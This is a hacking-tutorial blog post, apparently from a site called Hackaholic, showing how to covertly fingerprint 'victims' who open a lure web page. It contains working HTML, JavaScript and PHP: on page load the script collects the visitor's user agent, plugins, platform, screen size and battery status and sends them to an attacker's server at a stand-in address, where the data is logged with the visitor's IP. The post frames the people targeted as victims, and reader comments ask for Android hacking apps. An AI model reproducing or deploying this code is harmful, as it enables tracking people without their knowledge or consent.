Gather Victim Browser Information

Gather victime browser information

Gather Victim Browser Information

In this Video I will show you how you can gather victim browser information.

Information will be:

  • User-agent i.e what the browser User is using, what its version etc.
  • What all plugins installed in users Browsers.
  • What Operating System user is using.
  • Platform of user.
  • Screen size of user, battery status etc….

Before Watching this Video Hackaholic Recommend you to watch this video:
Steal Victim Ip Address
Port Forwarding

happy.html

<html>
<head>
<title>hello world</title>
<script src="detect_browser.js"></script>
</head>
<body onload="detect()" background="http://192.168.2.45/happy.jpg">
<center><h3>Welcome to Hackaholic</h3></center>
</body>
</html>

detect_browser.js

function detect(){
var xmlhttp;
xmlhttp = new XMLHttpRequest();
store = 'appName= ' + navigator.appName + " | ";
store =  store + 'appCodename= ' + navigator.appCodename + " | ";
store =  store + 'appVersion= ' + navigator.appVersion + " | ";
store =  store + 'cookieEnabled=' + navigator.CookieEnabled + " | ";
store =  store + 'onLine= ' + navigator.onLine + " | ";
store =  store + 'language= ' + navigator.language + " | ";
store =  store + 'platform= ' + navigator.platform + " | ";
store =  store + 'userAgent= ' + navigator.userAgent + " | ";
var plugin='PLugins are: '+ " | ";
for(count=0;count<navigator.plugins.length;count++)
{
plugin = plugin + navigator.plugins[count].name + " | ";
}
store = store + plugin;
store =  store + 'screen= ' + screen.width + 'x' + screen.height + " | ";
if (store.search('Firefox')>=0)
{
store =  store + 'Battery Status: ' + " | ";
store =  store + 'charging: ' + navigator.battery.charging + " | ";
store =  store + 'charge level: ' + navigator.battery.level + " | ";
store =  store + 'discahrging time: ' + navigator.battery.dischargingTime/60 + " min | ";
store =  store + 'charging time: ' + navigator.battery.chargingTime/60 + " min";
}
xmlhttp.open("POST", "http://your_global_ip/browser_detect/detect_browser.php?a=" + store, true);
xmlhttp.send();
}

detect_browser.php

<?php
$fp=fopen("/var/www/order/detect.txt",'a');
$ip=$_SERVER['REMOTE_ADDR'];
fwrite($fp,"IP:$ip\n");
foreach($_GET as $value)
{
$value=str_replace('|',"\n",$value);
fwrite($fp,$value);
}
fwrite($fp,"\n\n");
fclose($fp);
?>
Plz Share Share on FacebookShare on Google+Share on LinkedInTweet about this on TwitterEmail this to someoneShare on RedditShare on TumblrDigg thisBuffer this pagePrint this pagePin on PinterestShare on StumbleUponFlattr the author
Bookmark the permalink.

2 Comments

  1. Please make a video showing Android hacking apps

  2. when i click ”apache2” i get this error:

    http://s17.postimg.org/d8xglyzr3/wro.png

Leave a Reply

Your email address will not be published. Required fields are marked *